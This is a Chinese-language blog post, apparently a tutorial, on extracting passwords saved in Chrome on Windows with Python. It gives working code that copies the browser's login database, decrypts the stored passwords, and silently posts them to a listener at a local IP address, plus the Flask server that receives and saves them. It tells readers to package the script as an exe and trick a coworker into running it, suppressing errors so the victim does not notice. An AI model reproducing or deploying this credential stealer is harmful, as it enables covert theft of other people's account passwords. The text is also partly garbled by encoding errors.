使用Python偽裝黑客,批量獲取網(wǎng)站密碼!

如何破解iphone登陸密碼

今天看了一篇關(guān)于如何破解iphone手機(jī)密碼的文章，瞬間覺得科學(xué)技術(shù)不是第一生產(chǎn)力，why？

根據(jù)“可靠消息”稱，即便美國(guó)FBI也無法輕易的對(duì)iphone手機(jī)進(jìn)行暴力破解，當(dāng)然美國(guó)有一家黑客公司可針對(duì)iphone進(jìn)行破解，單收費(fèi)過萬(wàn)美金。

那么鋪天蓋地的iphone手機(jī)密碼破解“黑客”是怎么做的？
無非是騙，他們假裝成各類官方人員告訴你發(fā)現(xiàn)你的iphone手機(jī)存在異常，需要遠(yuǎn)程告知apple_id幫你追回手機(jī)，呵呵….
可是，這個(gè)梗和今天的文章有什么關(guān)系呢？

黑客的自我修養(yǎng)

隨著Python的活躍，各大平臺(tái)都在鼓吹，甚至已經(jīng)出了關(guān)于python黑客入門的書籍。
也許做一個(gè)黑客難如登天，那不如我們換個(gè)思路，去假裝做一個(gè)偽黑客如何？

前幾天看帖子，發(fā)現(xiàn)我們使用瀏覽器的時(shí)候，當(dāng)?shù)顷懸粋€(gè)需要輸入用戶名密碼的網(wǎng)站時(shí)，在你登陸成功后，系統(tǒng)會(huì)提示你是否保存密碼，如果點(diǎn)擊確認(rèn)，瀏覽器將會(huì)把我們本次輸入的密碼，存儲(chǔ)在瀏覽器中，待下次登錄時(shí)便可以免密登錄。
那么，這些密碼是怎么保存的，又存儲(chǔ)在哪里呢？

Chrome瀏覽器

也許很多人會(huì)說，360瀏覽器、QQ瀏覽器，這些國(guó)產(chǎn)的加殼瀏覽器不論美觀還是所謂的安全方面都做的很符合國(guó)人需求。但如果你的工作與IT掛鉤，無疑Chrome將是很多朋友的首選。當(dāng)然這篇文章不是介紹Chrome瀏覽器的使用手冊(cè)，今天我們主要來看看Chrome瀏覽器的密碼存儲(chǔ)機(jī)制。

查看Chrome存儲(chǔ)的密碼表單

點(diǎn)擊你們的Chrome瀏覽器右上角，進(jìn)入設(shè)置->高級(jí)->管理密碼(根據(jù)瀏覽器版本不同，可能存在部分差異)，亦或者在Chrome瀏覽器中輸入chrome://settings/passwords。你會(huì)看到很多已保存過的密碼表單信息，當(dāng)然如果你要查看密碼詳情，就要輸入電腦的系統(tǒng)管理員密碼。

那么，Chrome的密碼是以什么方式進(jìn)行存儲(chǔ)的呢？SQLite…
很多嵌入式產(chǎn)品中，都會(huì)使用SQLite數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)存儲(chǔ)，它占用資源低，數(shù)據(jù)庫(kù)即文件，又支持sql語(yǔ)法的增刪改查，簡(jiǎn)直不要太方便

SQLite在哪，又該怎么查詢？

首先，進(jìn)入我的電腦，地址欄中輸入%LOCALAPPDATA%,進(jìn)入app的數(shù)據(jù)存儲(chǔ)路徑：

C:\Users\Administrator\AppData\Local

之后進(jìn)入chrome瀏覽器的密碼數(shù)據(jù)庫(kù)統(tǒng)一地址為：

Google\Chrome\User Data\Default\Login Data

查看Chrome瀏覽器存儲(chǔ)的密碼

既然拿到了SQLite數(shù)據(jù)庫(kù)文件，我們隨便找個(gè)sqlite工具，就能打開這個(gè)數(shù)據(jù)庫(kù)了！
這里我使用sqlitestudio：

數(shù)據(jù)庫(kù)信息展示.png

打開數(shù)據(jù)庫(kù)，我們看到有三張表：
logins 、meta、 stats
其中l(wèi)ogins中就存儲(chǔ)這你保存的網(wǎng)址、用戶名、密碼數(shù)據(jù)，分別是:
signon_realm,username_value,password_value
但問題來了，password_value的字段看著是空的啊？因?yàn)榧用芰耍?br />如何解密？網(wǎng)上查了下：

CryptUnprotectData數(shù)據(jù)可以在win32crypt中找到，要使用該模塊，需要進(jìn)行安裝：
pip install pywin32
萬(wàn)事俱備，就差擼代碼了！

代碼實(shí)現(xiàn)

 1import?os
 2import?shutil
 3import?sqlite3
 4import?win32crypt
 5
 6db_file_path?=?os.path.join(os.environ['LOCALAPPDATA'],?r'Google\Chrome\User?Data\Default\Login?Data')
 7
 8tmp_file?=?os.path.join(os.environ['LOCALAPPDATA'],?'sqlite_file')
 9print(tmp_file)
10if?os.path.exists(tmp_file):
11????os.remove(tmp_file)
12shutil.copyfile(db_file_path,?tmp_file)
13
14conn?=?sqlite3.connect(tmp_file)
15for?row?in?conn.execute('select?signon_realm,username_value,password_value?from?logins'):
16????ret?=?win32crypt.CryptUnprotectData(row[2],?None,?None,?N?one,?0)
17????print('網(wǎng)站：%-50s，用戶名：%-20s，密碼：%s'?%?(row[0][:50],?row[1],?ret[1].decode('gbk')))
18
19conn.close()
20os.remove(tmp_file)

通過解密，我們獲取到了Chrome瀏覽器保存的用戶名密碼，然后保存至文本。

獲取到的本地密碼.png

之后我們只需要使用pyinstaller -F xxx.py,將代碼打包成exe發(fā)給同事，就可以在他的電腦上獲取密碼了！
但，如果咱們的黑客之旅到此為止，那這個(gè)偽黑客未免有點(diǎn)low了吧？

數(shù)據(jù)回傳

為什么說要打包成exe？一是可以脫離環(huán)境單獨(dú)執(zhí)行，二卻是為了加殼！
我們?cè)谠械拇a基礎(chǔ)上，添加如下內(nèi)容

1import?requests
2try:?#?記得添加try?except?不然萬(wàn)一你忘記啟動(dòng)Flask程序，豈不是讓同事發(fā)現(xiàn)了
3????requests.post('http://192.168.1.101:9999/index',
4??????????????????data=''.join(passwordList).encode('utf-8'))
5except:
6????pass

最后整理我們的代碼：

 1#?-*-?coding:?utf-8?-*-
 2#?@Author??:?王翔
 3#?@JianShu?:?清風(fēng)Python
 4#?@Date????:?2019/5/18?22:53
 5#?Software?:?PyCharm
 6# version：Python 3.6.8
 7#?@File????:?ChromePassword.py
 8
 9import?os
10import?shutil
11import?sqlite3
12import?win32crypt
13import?json
14import?requests
15
16APP_DATA_PATH?=?os.environ["LOCALAPPDATA"]
17DB_PATH?=?r'Google\Chrome\User?Data\Default\Login?Data'
18
19
20class?ChromePassword:
21
22????def?__init__(self):
23????????self.passwordsList?=?[]
24
25????def?get_chrome_db(self):
26????????_full_path?=?os.path.join(APP_DATA_PATH,?DB_PATH)
27????????_tmp_file?=?os.path.join(os.environ['LOCALAPPDATA'],?'sqlite_file')
28????????if?os.path.exists(_tmp_file):
29????????????os.remove(_tmp_file)
30????????shutil.copyfile(_full_path,?_tmp_file)
31????????self.show_passwords(_tmp_file)
32
33????def?show_passwords(self,?db_file):
34????????conn?=?sqlite3.connect(db_file)
35????????_sql?=?'''select?signon_realm,username_value,password_value?from?logins'''
36????????for?row?in?conn.execute(_sql):
37????????????ret?=?win32crypt.CryptUnprotectData(row[2],?None,?None,?None,?0)
38????????????#?密碼解析后得到的是字節(jié)碼，需要進(jìn)行解碼操作
39????????????_info?=?'url:?%-40s?username:?%-20s?password:?%s\n'?%?\
40????????????????????(row[0][:50],?row[1],?ret[1].decode())
41????????????self.passwordsList.append(_info)
42????????conn.close()
43????????os.remove(db_file)
44
45????def?save_passwords(self):
46????????with?open('password.txt',?'w',?encoding='utf-8')?as?f:
47????????????f.writelines(self.passwordsList)
48
49????def?transfer_passwords(self):
50????????try:
51????????????#?此處填寫遠(yuǎn)端Flask對(duì)應(yīng)的IP:PORT
52????????????requests.post('http://192.168.1.102:9999/index',
53??????????????????????????data=json.dumps(self.passwordsList))
54????????except?requests.exceptions.ConnectionError:
55????????????pass
56
57
58if?__name__?==?'__main__':
59????Main?=?ChromePassword()
60????Main.get_chrome_db()
61????Main.save_passwords()
62????Main.transfer_passwords()

下來，我們?cè)诒镜貙懸粋€(gè)最簡(jiǎn)單的Flask程序，用戶獲取回傳的參數(shù)，代碼如下：

 1#?-*-?coding:?utf-8?-*-
 2#?@Author??:?王翔
 3#?@JianShu?:?清風(fēng)Python
 4#?@Date????:?2019/5/18?22:53
 5#?Software?:?PyCharm
 6# version：Python 3.6.8
 7#?@File????:?ChromePassword.py
 8
 9from?flask?import?Flask,?request
10import?time
11import?json
12
13app?=?Flask(__name__)
14
15
16@app.route('/index',?methods=["GET",?"POST"])
17def?index():
18????if?request.method?==?'POST':
19????????_txtName?=?'%s_%s.txt'?%?(request.remote_addr,
20??????????????????????????????????time.strftime('%Y%m%d%H%M%S',?time.localtime()))
21????????with?open(_txtName,?'w',?encoding='utf-8')?as?f:
22????????????f.writelines(json.loads(request.data))
23????return?"小哥，里面玩兒啊"
24
25
26if?__name__?==?'__main__':
27????#?端口可自行設(shè)置
28????app.run(host='0.0.0.0',?port=9999)

打完收工，就差同事去點(diǎn)擊你發(fā)給他的exe了。他以為你的工具僅僅把Chrome密碼生成txt保存，
其實(shí)，在他點(diǎn)擊工具的同時(shí)，你電腦會(huì)獲取他傳輸?shù)臄?shù)據(jù)，并存儲(chǔ)在一個(gè)ip時(shí)間戳的文本中！

Flask回傳.png

然后，拿去給他們炫耀吧！

END

關(guān)注【程序IT圈】，更多的Python好文輸出